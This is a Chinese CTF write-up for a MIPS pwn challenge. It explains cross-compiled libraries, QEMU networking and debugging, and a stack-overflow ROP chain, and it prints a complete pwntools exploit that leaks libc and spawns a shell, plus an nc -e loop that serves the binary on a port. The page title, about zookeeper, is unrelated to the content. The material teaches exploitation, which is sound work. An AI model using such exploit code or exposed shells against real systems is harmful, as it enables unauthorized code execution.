zookeeper 虚拟机搭建好后 外部链接不上_从一道mips题目学习搭建mips环境及ROP

本文以一道简单的mips pwn题,讲解mips环境搭建及mips ROP的构造。这道题目是安洵杯的一道pwn题,题目链接https://github.com/Q1IQ/ctf/blob/master/mips/pwn2

题目初览

首先使用file看一下文件类型,从这里我们能得到的信息是题目是32位的;LSB表示是小端,如果是MSB则表示大端;MIPS32 version 1 (SYSV)表示MIPS的版本,MIPS版本有MIPS32/64、MIPS IV等等;题目是动态链接的,所以我们需要对应的动态链接库。

4c72d208b4015181cf2335b29adaf8e9.png直接运行程序是运行不起来的,这是因为mips架构的elf文件需要在mips环境中才能运行,而且还需要相应的动态链接库。所以下面我们来一起搭建mips环境。要注意题目是什么环境,搭建的就得是什么环境。

交叉编译

交叉编译和本地编译是相对应的概念。我们常见的编译都是本地编译:编译出来的程序是由当前平台编译得到的,而且只能放到当前平台下运行;而交叉编译是指在当前平台下编译出在其他平台下运行的程序,即编译出来的程序运行环境与编译它的环境不一样。

获取交叉编译工具

如果出题人没有给出mips文件依赖的库文件的话,就需要我们自己补上(这就好比libc pwn题不给libc库)。这些库文件可以在交叉编译工具中找到。

有两个办法获取交叉编译工具。

1.源码编译

我们可以使用buildroot自己编译不同架构的交叉编译工具,关于这个的教程很多,可以自行网上搜索不再赘述。对于本题来说,我们在配置时要将第一项Target Architecture,改成MIPS(little endian)

acf02f1d6ee450ade1aba265668d9f58.png

编译好后在buildroot/output/build/uclibc-1.0.32/lib/文件夹下可以找到我们需要的库文件,对于本题来说,我们需要以下三个库文件来使我们的程序能够正常运行。

ad512f32809971626c912e7d1826234d.png

2.直接下载二进制文件

我们也可以用现成的交叉编译工具,下载链接https://www.uclibc.org/downloads/binaries/0.9.30.1/。

3b465e5b959d66a1babd9b66f02416af.png

本题是mipsel(little endian),所以需要下载cross-compiler-mipsel,其lib文件夹下存放着库文件,同样也是需要以下三个库文件来使我们的题目程序能够正常运行。

f9f13885fa540d2273d42747f8bf427d.png

我们在题目所在的文件夹下创建一个名为lib的文件夹,将这三个库文件放在lib文件夹中,后面将使用这个文件夹作为库文件夹。

d8e519fdf7c98d7300cb9d5a5f11d89e.png

搭建QEMU虚拟机

下面我们使用qemu搭建mips环境。首先我们需要知道qemu支持两种操作模式:用户模式和系统模式。用户模式允许一个CPU构建的进程在另一个CPU上执行;系统模式则是允许对整个系统进行仿真,包括处理器和配套的外围设备。做题时选用适合的一种即可,下面会介绍配置以上两种环境的方法。

我的本机环境是Ubuntu16.04,先将qemu安装好。

sudo apt-get install qemu sudo apt-get install qemu-user-staticsudo apt-get install qemu-system

系统模式

我们可以使用系统模式配置一台能够联网的qemu虚拟机。

网络配置

如果想要qemu能够联网,需要手动为其虚拟化一张网卡。

安装虚拟网桥工具和UML工具。

sudo apt-get install uml-utilities sudo apt-get install bridge-utils

首先使用ifconfig查看本机网络,下面ens33是能够联网的网卡,lo是本地环回接口。

1cff677232b4912b28067dbe73552c31.png

我们要先关闭ens33网卡,创建virbr0虚拟网桥,将网卡设置为virbr0的一个接口。如果只有一个网桥,则关闭生成树协议,设置virbr0的转发延迟为1,设置 virbr0 hello时间为1。

mips $ sudo ifconfig ens33 down  mips $ sudo brctl addbr virbr0 mips $ sudo brctl addif virbr0 ens33mips $ sudo brctl stp virbr0 off mips $ sudo brctl setfd virbr0 1mips $ sudo brctl sethello virbr0 1

然后启用虚拟网桥,启用ens33网卡,从 dhcp 服务器获取虚拟网桥IP地址。

mips $ sudo ifconfig virbr0 0.0.0.0 promisc upmips $ sudo ifconfig ens33 0.0.0.0 promisc upmips $ sudo dhclient virbr0

创建一个tap0接口,并添加到虚拟网桥,然后启用tap0接口,这个tap0接口会和qemu虚拟机相连。

mips $ sudo tunctl -t tap0mips $ sudo brctl addif virbr0 tap0mips $ sudo ifconfig tap0 0.0.0.0 promisc up

配置好的效果见下。

faea11c0ef06e055045e0989f35cba60.png

下载启动镜像

下面我们下载mips镜像。前面分析可知这道题是小端的,所以我们需要下载el(little endian)镜像,这里我们选择debian_wheezy_mipsel_standard.qcow2;内核选择vmlinux-3.2.0-4-4kc-malta。下载链接https://people.debian.org/~aurel32/qemu/mipsel/

启动镜像。

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。

c58b4e786b8349ed8814ea142c2b7a9c.png

用户名和密码都是root

直接运行题目会显示缺少共享库,我们可以将共享库复制到根文件夹下的lib文件夹下,也可以使用chroot更改根目录。运行题目。

978ff55df71b3887172a28dc08dd2958.png

做题少不了调试,我们可以下载gdbserver,启动要调试的程序或附加到需要调试的进程上,然后使用gdb-mutiarch连接调试。各个架构静态编译的gdbserver下载链接https://github.com/e3pem/embedded-toolkit

查看gdbserverREADME,本题使用的mips版本为MIPS32 version 1 (SYSV),搜索找到对应的gdbserver

eb06474b77c3ed279cc92661147d380c.png

运行gdbserver,设置好ip端口以及要调试的程序。

8651b297e583deb726159a5a857d5e00.png

在本机使用gdb-mutiarch连接调试。

gdb-multiarch pwn2set arch mipsset endian littletarget remote 192.168.122.12:12345

效果如下。

568b1dfaef584ad0d30b56ea852eed25.png

如果想用脚本直接和题目进行交互,可以在虚拟机里无限循环运行程序,在脚本中远程连接qemu虚拟机ip和端口(下面设为了8080)即可,这样不太稳定,但是也够用了。

while true ;do  nc -lvvp 8080 -t -e ~/pwn2; done;

此外也可以使用socat,可以从网上下载安装,也可以使用静态编译的,这里有一个静态编译的mips工具集:mips-binaries-master,但是这个是MSB(大端)的,无法在小端的虚拟机里运行,遇到大端的题目可以使用。

666303fb811cf758ecda2771e02957a6.png

用户模式

因为我们需要自己设定lib文件夹,所以需要使用静态编译的qemu-mips-static。将qemu-mipsel-static复制到本地文件夹。

cp $(which qemu-mipsel-static) ./

lib文件夹中放好题目需要的库,使用chroot命令将当前目录设为根目录,运行程序。

sudo chroot . ./qemu-mipsel-static ./pwn2

219b5ef9ba1f010cd80dbfd6a86adbcb.png

增加-g选项指定端口即可调试。

sudo chroot . ./qemu-mipsel-static -g 54321 ./pwn2

开另一个终端使用gdb-mutiarch连接调试。

gdb-multiarch pwn2set arch mipsset endian littletarget remote 127.0.0.1:54321

题目分析

查看一下程序的保护机制,发现什么保护都没开。

b2da8a2cf6be01da71838c707183509d.png

使用IDA打开题目文件。关于mips汇编的知识我就不多介绍了,网上的介绍比较多,例如:

https://valeeraz.github.io/2020/05/08/architecture-mips/

https://www.inntechy.cn/wp-content/uploads/2018/04/参考资料-MIPS-汇编语言简要介绍.pdf

这里介绍一个IDA的小技巧。打开Option->general,选择Auto commentsIDA会在汇编语句后面生成一些提示,告诉我们汇编语句的含义。

6f3ba04b48e7862f9e6347c587b87db5.png

效果就是下面这样,直接看这些注释就不用挨个去查mips语句的含义了,其他一切生僻的架构也可以这样快速入手。

7600bc9650356d51d55d5a555e69c306.png

下面我们来看汇编,首先看main函数,程序逻辑为输入namename大小为0x14个字节。接着进入了一个叫做vuln的函数里,这个函数里有个比较明显的栈溢出。

6fddb7740ec34a38fed4db2448103119.png

漏洞利用

做基础栈溢出pwn题时比较常规的解法就是ROP,对于mips架构也是同理。对于本题可以先泄露read获取libc地址,再构造system('/bin/sh')'/bin/sh'是在libc里找的,这里就和基础栈溢出pwn一样了。下面详细的讲解。

首先我们要泄露libc地址,为了构造puts(elf.got['read']),我们需要控制a0。

0x004006C8处有一个可用的gadget,这个gadget可以控制s0s1s2s2以及跳转地址。

58e6abb8c24f047001f58fcd7ce2a434.png

下面0x004007A8处的gadgets1赋值给a0,并跳转到s2,两个gadget配合就达到了控制a0的目的。

0ecdb7eee3f2fb2b87da02c96766eea3.png

构造system('/bin/sh')是同理的。exp附上。

from pwn import *context.log_level = 'debug'libc=ELF("./lib/libc.so.0")elf = ELF('./pwn2')io = remote("192.168.3.26", 8080)s       = lambda data               :io.send(str(data)) sa      = lambda delim,data         :io.sendafter(str(delim), str(data))sl      = lambda data               :io.sendline(str(data))sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))r       = lambda numb=4096          :io.recv(numb)ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)ru("What's your name: \n")sl("q1iq")sleep(0.2)r()#leak gotj2s2_s1a0=0x004007A8#gadgetj_s3210=0x004006C8main=0x00400820c=''c+='\x31'*0x24c+=p32(j_s3210)c+='\x31'*0x1cc+=p32(1111)#s0c+=p32(elf.got['read'])#s1c+=p32(0x0040092C)#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#rac+='\x20'*0x20c+=p32(0x400750)sl(c)#libcbaseread_addr=u32(r()[0:4])libc.address=read_addr-libc.symbols['read']#getshellc=''c+='\x31'*0x24c+=p32(j_s3210)c+='\x31'*0x1cc+=p32(1111)#s0c+=p32(libc.search('/bin/sh').next())#s1c+=p32(libc.symbols['system'])#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#rasl(c)io.interactive()

成功获取shell

07ad8997738038858c1b9da149ed3c6f.png

承接CTF培训【全系全套】 渗透测试项目、安全咨询项目
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值